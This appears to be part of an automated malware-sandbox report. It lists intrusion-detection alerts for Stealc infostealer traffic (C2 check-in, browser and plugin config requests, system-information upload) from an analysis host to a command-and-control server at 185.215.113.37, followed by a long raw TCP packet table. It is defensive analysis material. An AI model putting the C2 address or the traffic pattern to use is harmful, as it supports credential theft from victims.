2024-10-24T11:02:14.880631+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-24T11:02:15.187164+0200	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-24T11:02:15.195401+0200	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.37	80	192.168.2.5	49704	TCP
2024-10-24T11:02:15.475669+0200	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-24T11:02:15.735092+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.37	80	192.168.2.5	49704	TCP
2024-10-24T11:02:16.865712+0200	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-24T11:02:17.516777+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-24T11:02:25.931362+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-24T11:02:27.708681+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-24T11:02:28.758110+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-24T11:02:30.038895+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-24T11:02:31.753099+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-24T11:02:32.489738+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 24, 2024 11:02:13.631023884 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:13.636384010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:13.636492968 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:13.636658907 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:13.641922951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:14.558568954 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:14.558743000 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:14.575391054 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:14.580743074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:14.880556107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:14.880630970 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:14.900310040 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:14.905706882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:15.187041044 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:15.187164068 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:15.187410116 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:15.187465906 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:15.188868046 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:15.195400953 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:15.475539923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:15.475589991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:15.475600958 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:15.475614071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:15.475668907 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:15.475672007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:15.475701094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:15.475714922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:15.475718021 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:15.475761890 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:15.729262114 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:15.735091925 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:16.015886068 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:16.016007900 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:16.051862001 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:16.051902056 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:16.057539940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:16.057591915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:16.057602882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:16.057631016 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:16.057641029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:16.057703018 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:16.057739973 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:16.865614891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:16.865711927 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:17.230957985 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:17.237772942 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:17.516613007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:17.516648054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:17.516663074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:17.516774893 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:17.516777039 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:17.516803026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:17.516819954 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:17.516824007 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:17.516838074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:17.516851902 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:17.516865969 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:17.516885996 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:17.517378092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:17.517395020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:17.517410040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:17.517427921 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:17.517437935 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:17.517448902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:17.517463923 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:17.517493963 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:17.517520905 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:17.518409967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:17.518465996 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:17.675189972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:17.675221920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:17.675239086 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:17.675247908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:17.675254107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:17.675271988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:17.675295115 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:17.675295115 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:17.675318956 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:17.675396919 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:17.675434113 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:17.675458908 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:17.675474882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:17.675489902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:17.675492048 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:17.675508022 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:17.675525904 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:17.676074028 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:17.676090956 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:17.676105976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:17.676109076 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:17.676121950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:17.676122904 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:17.676141977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:17.676156044 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:17.794344902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:17.794368982 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:17.794385910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:17.794431925 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:17.794471025 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:17.794477940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:17.794495106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:17.794564962 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:17.794564962 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:17.794564962 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:17.794872999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:17.794888973 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:17.794904947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:17.794933081 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:17.794966936 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:17.795272112 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:17.795325994 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:17.795341969 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:17.795342922 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:17.795356989 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:17.795380116 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:17.795413971 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:17.795413971 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:17.833664894 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:17.833687067 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:17.833865881 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:17.913749933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:17.913770914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:17.913788080 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:17.913867950 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:17.913868904 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:17.913959980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:17.913985968 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:17.914002895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:17.914016962 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:17.914019108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:17.914036989 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:17.914073944 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:17.914073944 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:17.914074898 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:17.914103031 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:17.914880991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:17.914896965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:17.914911985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:17.914927959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:17.914942980 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:17.914972067 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:17.914989948 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:17.915349960 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:17.915405035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:17.915416002 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:17.915448904 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:17.953476906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:17.953499079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:17.953670025 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:18.033236027 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.033255100 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.033272982 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.033288956 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.033313036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.033412933 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:18.033617973 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.033634901 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.033651114 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.033664942 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:18.033778906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.033829927 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:18.033864975 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:18.034286976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.034307003 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.034324884 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.034341097 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.034358025 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:18.034392118 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:18.034411907 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:18.034502029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.034558058 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:18.072583914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.072736979 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:18.072866917 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.072882891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.072904110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.072916031 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:18.072958946 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:18.075257063 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:18.152486086 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.152535915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.152551889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.152578115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.152595043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.152601957 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:18.152612925 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.152654886 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:18.152682066 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:18.153235912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.153280020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.153285027 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:18.153295040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.153312922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.153328896 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.153384924 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:18.153384924 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:18.153429985 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:18.153728962 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.153744936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.153762102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.153783083 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:18.153819084 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:18.153819084 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:18.192074060 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.192097902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.192114115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.192194939 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:18.192209005 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.192240953 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:18.192274094 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:18.192282915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.192328930 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:18.271924973 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.272006035 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:18.272021055 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.272037029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.272104025 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:18.272104025 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:18.272286892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.272304058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.272320032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.272336006 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:18.272336960 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.272362947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.272363901 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:18.272363901 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:18.272386074 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:18.272407055 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:18.272650003 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.272666931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.272681952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.272707939 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:18.272707939 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:18.272744894 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:18.273061991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.273078918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.273098946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.273111105 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:18.273117065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.273140907 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:18.273140907 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:18.273175001 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:18.311364889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.311392069 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.311408043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.311448097 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:18.311486959 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:18.311520100 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.311534882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.311569929 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:18.311603069 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:18.391350985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.391393900 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.391408920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.391426086 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.391443014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.391438961 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:18.391438961 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:18.391558886 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:18.391560078 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:18.391560078 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:18.391771078 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.391788006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.391804934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.391822100 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.391838074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.391849041 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:18.391889095 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:18.391889095 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:18.392237902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.392313004 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:18.392339945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.392404079 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:18.392414093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.392427921 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.392462015 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:18.392496109 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:18.431555033 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.431627035 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:18.431637049 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.431653976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.431672096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.431688070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.431703091 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:18.431704998 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.431703091 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:18.431703091 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:18.431742907 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:18.431742907 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:18.510494947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.510521889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.510539055 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.510607004 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:18.510704994 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:18.510709047 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.510725021 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.510766983 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:18.510767937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:18.510823965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.510867119 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:18.511168003 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.511183023 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.511229038 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:18.511229992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.511229038 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:18.511248112 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.511266947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:18.511291027 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:18.511291027 CEST	49704	80	192.168.2.5	185.215.113.37
